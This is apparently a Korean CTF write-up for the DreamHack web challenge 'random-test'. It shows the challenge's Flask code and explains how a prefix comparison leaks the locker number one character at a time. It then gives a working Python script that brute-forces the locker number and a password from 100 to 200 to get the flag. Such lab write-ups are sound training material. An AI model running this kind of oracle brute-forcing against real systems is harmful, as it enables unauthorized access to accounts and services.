[Web Hacking] DreamHack random-test

1292 words

6 minutes

[Web Hacking] DreamHack random-test

2026-07-31

Web2

DreamHack

Web2

Protected Post

[Web Hacking] DreamHack random-test is protected. Enter the password to view this post.

문제 정보#

문제 제목: random-test

문제 설명
새 학기를 맞아 드림이에게 사물함이 배정되었습니다. 하지만 기억력이 안 좋은 드림이는 사물함 번호와 자물쇠 비밀번호를 모두 잊어버리고 말았어요… 드림이를 위해 사물함 번호와 자물쇠 비밀번호를 알아내 주세요! 사물함 번호는 알파벳 소문자 혹은 숫자를 포함하는 4자리 랜덤 문자열이고, 비밀번호는 100 이상 200 이하의 랜덤 정수입니다. 두 값을 맞게 입력하면 플래그가 출력됩니다. 플래그는 FLAG 변수에 있습니다.

플래그 형식은 DH{…} 입니다.

문제 분석#

app.py#

1
#!/usr/bin/python3
2
from flask import Flask, request, render_template
3
import string
4
import random
5

6
app = Flask(__name__)
7

8
try:
9
    FLAG = open("./flag.txt", "r").read()       # flag is here!
10
except:
11
    FLAG = "[**FLAG**]"
12

13

14
rand_str = ""
15
alphanumeric = string.ascii_lowercase + string.digits
16
for i in range(4):
17
    rand_str += str(random.choice(alphanumeric))
18

19
rand_num = random.randint(100, 200)
20

21

22
@app.route("/", methods = ["GET", "POST"])
23
def index():
24
    if request.method == "GET":
25
        return render_template("index.html")
26
    else:
27
        locker_num = request.form.get("locker_num", "")
28
        password = request.form.get("password", "")
29

30
        if locker_num != "" and rand_str[0:len(locker_num)] == locker_num:
31
            if locker_num == rand_str and password == str(rand_num):
32
                return render_template("index.html", result = "FLAG:" + FLAG)
33
            return render_template("index.html", result = "Good")
34
        else:
35
            return render_template("index.html", result = "Wrong!")
36

37

38
app.run(host="0.0.0.0", port=8000)

제공된 app.py를 확인해 보면 플래그는 FLAG 변수에 저장되어 있다.

1
try:
2
    FLAG = open("./flag.txt", "r").read()       # flag is here!
3
except:
4
    FLAG = "[**FLAG**]"

루트 경로 /에서는 POST 요청으로 전달된 locker_num과 password 값을 받아 검증한다.

1
locker_num = request.form.get("locker_num", "")
2
password = request.form.get("password", "")

검증 로직은 다음과 같다.

1
if locker_num != "" and rand_str[0:len(locker_num)] == locker_num:
2
    if locker_num == rand_str and password == str(rand_num):
3
        return render_template("index.html", result = "FLAG:" + FLAG)
4
    return render_template("index.html", result = "Good")
5
else:
6
    return render_template("index.html", result = "Wrong!")

여기서 중요한 부분은 다음 조건문이다.

1
if locker_num != "" and rand_str[0:len(locker_num)] == locker_num:

이 코드는 정답 사물함 번호인 rand_str를 입력한 locker_num의 길이만큼 잘라서, 입력값과 비교한다.

예를 들어 실제 사물함 번호가 a1b2라면 다음과 같이 동작한다.

1
locker_num = "a"    -> Good
2
locker_num = "a1"   -> Good
3
locker_num = "a1b"  -> Good
4
locker_num = "a1b2" -> Good 또는 FLAG
5
locker_num = "b"    -> Wrong!

즉, 전체 사물함 번호를 한 번에 맞추지 않아도 앞에서부터 한 글자씩 정답 여부를 확인할 수 있다.

또한 locker_num은 정답과 일치하지만 password가 틀린 경우에는 다음 코드에 의해 result 값이 Good이 된다.

1
return render_template("index.html", result = "Good")

따라서 응답에 Good이 포함되어 있으면 현재 입력한 locker_num이 정답의 prefix라는 것을 알 수 있다.

문제 설명과 app.py를 통해 locker_num은 소문자 알파벳과 숫자로 이루어진 4자리 문자열이고, password는 100 이상 200 이하의 정수라는 것을 알 수 있다.

1
alphanumeric = string.ascii_lowercase + string.digits
2

3
for i in range(4):
4
    rand_str += str(random.choice(alphanumeric))
5

6
rand_num = random.randint(100, 200)

따라서 먼저 locker_num을 한 글자씩 찾고, 이후 password를 100부터 200까지 브루트포싱을 돌리면 플래그가 나온다.

Exploit#

1
import requests
2

3
url = "http://host3.dreamhack.games:PORT"
4

5
lists = []
6
locker = ""
7

8
for i in range(10):
9
    lists.append(str(i))
10

11
for a in range(ord("a"), ord("z")+1):
12
    lists.append(chr(a))
13

14
for i in range(4):
15
    for j in lists:
16
        temp = locker + j
17

18
        data = { "locker_num": temp, "password": "0" }
19
        res = requests.post(url, data=data)
20

21
        if "Good" in res.text:
22
            locker += j
23
            break
24

25
print(f"locker: {locker}")
26

27
for i in range(100, 201):
28
    data = { "locker_num": locker, "password": str(i) }
29
    res = requests.post(url, data=data)
30

31
    if "FLAG:" in res.text:
32
        print(res.text)
33
        break

Exploit 설명#

url에 요청을 보내기 위해 requests 모듈을 사용했다.

먼저 locker_num에 사용될 수 있는 문자들을 순회하기 위해 숫자 0~9와 소문자 알파벳 a~z를 lists 리스트에 저장했다.

1
lists = []
2
locker = ""
3

4
for i in range(10):
5
    lists.append(str(i))
6

7
for a in range(ord("a"), ord("z") + 1):
8
    lists.append(chr(a))

이후 locker_num은 4자리 문자열이므로 외부 반복문을 4번 실행했다.

1
for i in range(4):

내부 반복문에서는 현재까지 알아낸 locker 값 뒤에 새로운 문자 j를 하나씩 붙여 요청을 보낸다.

1
temp = locker + j

예를 들어 현재까지 알아낸 값이 a1이라면, 다음 자리 문자를 찾기 위해 다음과 같은 값들을 차례대로 요청하게 된다.

1
a10
2
a11
3
a12
4
...
5
a1z

서버는 입력한 locker_num이 locker_num의 길이만큼 정답과 일치하면 Good을 반환한다. 따라서 응답에 Good이 포함되어 있으면 해당 문자가 현재 자리의 정답이라고 판단하고 locker에 추가한다.

1
if "Good" in res.text:
2
    locker += j
3
    break

이 과정을 4번 반복하면 전체 locker_num을 알아낼 수 있다.

1
print(f"locker: {locker}")

이후 password를 찾는다. password는 서버 코드에서 다음과 같이 100 이상 200 이하의 정수로 생성된다.

1
rand_num = random.randint(100, 200)

따라서 100부터 200까지 순회하면서 앞에서 찾은 locker_num과 함께 요청을 보낸다.

1
for i in range(100, 201):
2
    data = {
3
        "locker_num": locker,
4
        "password": str(i)
5
    }
6

7
    res = requests.post(url, data=data)

locker_num과 password가 모두 맞으면 서버는 FLAG:가 포함된 응답을 반환한다.

1
if "FLAG:" in res.text:
2
    print(res.text)
3
    break

따라서 응답에 FLAG:가 포함되어 있으면 정답으로 판단하고 응답 전체를 출력한다.

결과#

최종적으로 다음과 같이 플래그를 얻을 수 있었다. Flag

[Web Hacking] DreamHack random-test

https://snowfairy.kr/posts/webhacking-dreamhack-random-test/

Author

snowfairy

Published at

2026-07-31

License

CC BY-NC-SA 4.0

[서버 구축 소전] 3차시 과제